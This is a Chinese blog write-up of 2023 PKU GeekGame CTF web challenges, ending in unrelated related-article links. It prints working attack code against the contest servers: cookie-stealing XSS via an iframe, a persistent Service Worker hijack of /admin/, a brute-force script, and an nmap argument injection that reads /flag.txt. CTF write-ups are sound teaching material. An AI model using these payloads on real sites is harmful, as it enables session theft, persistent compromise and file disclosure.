首页 > 其他分享 >2023PKU GeekGame Web wp

2023PKU GeekGame Web wp

时间:2023-11-03 14:11:18浏览次数:36  
标签:Web 2023PKU Service text Worker cookies cookie GeekGame document

2023PKU GeekGame Web wp

第三新XSS

巡猎

查看源码我们可以知道可以在body的部分插入代码触发xss漏洞,根据题目给出的提示可以知道需要创建一个元素指向/admin/路径,然后通过document读取目标的cookies。

<iframe src="/admin/" id="barframe"></iframe>
<script>
setTimeout(() => {
  document.title = document.getElementById('barframe').contentDocument.cookie
}, 100)
</script>

需要使用http协议才能获得flag。

记忆

Service Worker让网页可以提供与原生App类似的体验,可以在关闭浏览器重开以后还继续运行,但是只能打开某个页面本身,里面的内容都无法加载。但是基于这个特性,在有Service Worker的网页我们就有一些操作的机会了,比如直接修改HTTP请求的响应。这个功能一看就很危险,相当于页面上只要曾经存在任何一处 XSS,就能安装一个 Service Worker 让用户永远被 XSS。

要拿到flag2,我们可以上传一个工作范围为/Service Worker来劫持/admin/

{"Service-Worker-Allowed":"/","Content-Type":"application/javascript"}

self.addEventListener("fetch", (event) => {
  event.respondWith(new Response("<script>setTimeout(()=>{document.title=document.cookie}, 1000)</script>", {
    headers: {'Content-Type': 'text/html'}
  }));
});
{"Content-Type":"text/html"}

<script>
const registerServiceWorker = async () => {
  const registration = await navigator.serviceWorker.register("/~sw/", {scope: "/admin/"})
};
registerServiceWorker();
</script>

简单的打字稿

字符串操作类型,这个题目的关键就是这个操作类型,我们可以自定义字符串操作类型

Flag被包含在类型中,因此无法在js中获取。我们可以通过类型检测器的报错来获得Flag

type Split<S extends string, D extends string> =
    string extends S ? string[] :
    S extends '' ? [] :
    S extends `${infer T}${D}${infer U}` ? [T, ...Split<U, D>] : [S];

type A = Split<flag1, "l">
let a: A = '114514'

Emoji Wordle

def solve():
    cookie=requests.get("https://prob14.geekgame.pku.edu.cn/level3").cookies
    v=[0]*64
    x=[chr(i+0x1F410) for i in b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"]
    for z in x:
        print(x.index(z))
        p=[ord(i) for i in requests.get("https://prob14.geekgame.pku.edu.cn/level3?guess="+z*64,cookies=cookie).text.split()[28][14:-2]]
        for j in range(64):
            if p[j]==129001:
                v[j]=z
    return requests.get("https://prob14.geekgame.pku.edu.cn/level3?guess="+''.join(v),cookies=cookie).text

solve()

逝界计划

提示说有个nmap集成,先找找nmap与 Home Assistant 的联系,可以知道我们可以在 Home Assistant 里面添加nmap集成

直接在命令行参数中来一个-iL /flag.txt -oN /media/log.txt.jpg,然后将结果下载就行,就得到了flag

标签:Web,2023PKU,Service,text,Worker,cookies,cookie,GeekGame,document
From: https://www.cnblogs.com/B0like/p/17807475.html

相关文章

  • prometheus-webhook-dingtalk 报警模板
    moretemplate.tmpl{{define"__subject"}}[{{.Status|toUpper}}{{ifeq.Status"firing"}}:{{.Alerts.Firing|len}}{{end}}]{{end}}{{define"__alert_list"}}{{range.}}---**告警名称**:{{index.Annotations"ti......
  • 关于《Web接口开发与自动化测试--基于Python语言》
    关于封面logo首先,你会被书封上面logo吸引,这么炫酷?双蛇杖?嗯,这是Requests的新logo。旧的logo是一只乌龟。 新logo是双蛇杖: 看到新logo我首先想到的是火爆全网页游“大天使之剑”,直到前两天一位网友告诉我这是双蛇杖,然后,我百度了一下双蛇杖的神话故事。然后,找到了......
  • 使用websocket开发智能聊天机器人
    前面我们学习了异步web框架(sanic)和http异步调用库httpx,今天我们学习websocket技术。websocket简介我们知道HTTP协议是:请求->响应,如果没有响应就一直等着,直到超时;但是有时候后台的处理需要很长时间才能给到结果,比如30分钟,那HTTP的请求不可能等这么久,所以,可以通过Ajax轮询来解决。......
  • C#的Web请求WebClient之https根据验证过程,远程证书无效
    ServicePointManager.ServerCertificateValidationCallback+=(sender,certificate,chain,sslPolicyErrors)=>true;using(WebClientclient=newWebClient()){stringurl="https://api.example.com/data";......
  • webpack4_CodeSplit——optimization.splitchunks
    目录代码文档树webpack.config.js通过修改entry来达到分割打包文件的目的通过optimization.splitChunks来分离大文件以及重复文件修改entry为单文件,在test.js文件中引入jquery配置optimization.splitchunks多入口情况下的多份大文件重复引入单入口情况下的文件单独打包参考博客代......
  • [MDP.NetCore] 開發一個從GitHub持續佈署到Azure Container Apps的Web站台
    開發一個從GitHub持續佈署到AzureContainerApps的Web站台程式碼簽入GitHub之後,啟動GitHubAction流程,編譯並部署程式到AzureContainerApps,是開發系統時常見的功能需求。本篇範例協助開發人員使用GitHub與Azure,逐步完成必要的設計和實作。操作步驟1.註冊並登入AzurePortal......
  • 【Azure Web Job】Azure Web Job执行Powershell脚本报错 The term 'Select-AzContext'
    问题描述AzureWebJob执行Powershell脚本报错 Select-AzContext:Theterm'Select-AzContext'isnotrecognizedasthenameofacmdlet,function,scriptfile,oroperableprogram.Checkthespellingofthename,orifapathwasincluded,verifythatthepa......
  • 学习:javaweb-servlet
    1.在Idea中配置maven仓库,需要在idea中的setting设置maven的路径参数,包括maven的setting.xml和本地仓库的路径2.新建一个maven模板的javaweb项目,查看maven的配置setting.xml是否配置成功,成功的话可以下载模板所需要的一依赖包。3.查看projectStructure中的Modules项目中是否生成......
  • 技术教程 | 基于 Web 端的屏幕共享实践
    ​ 屏幕共享的英文叫做DesktopSharing,通俗点讲就是将自己电脑的画面分享给其他人,被分享的可以是整个电脑屏幕、应用程序或者某一个打开的网页等等。而随着音视频领域的深入发展,完备的功能在用户需求激增的背景下催生,不管是是在学习、生活或是娱乐场景下,屏幕共享作为实现互动......
  • 国产 Web 组态软件在玻璃生产线中的应用
    ​ 概述随着工厂信息化、数字化发展,智慧生产车间成为必然发展趋势,通过智能硬件、物联网、大数据等智慧化技术与手段,提高车间生产设备、工艺设备的智能执行能力,从而提升整个车间乃至工厂的智能化、网络化与自动化水平,从流通环节、底层技术、应用领域和功能目标等方面实现智慧化......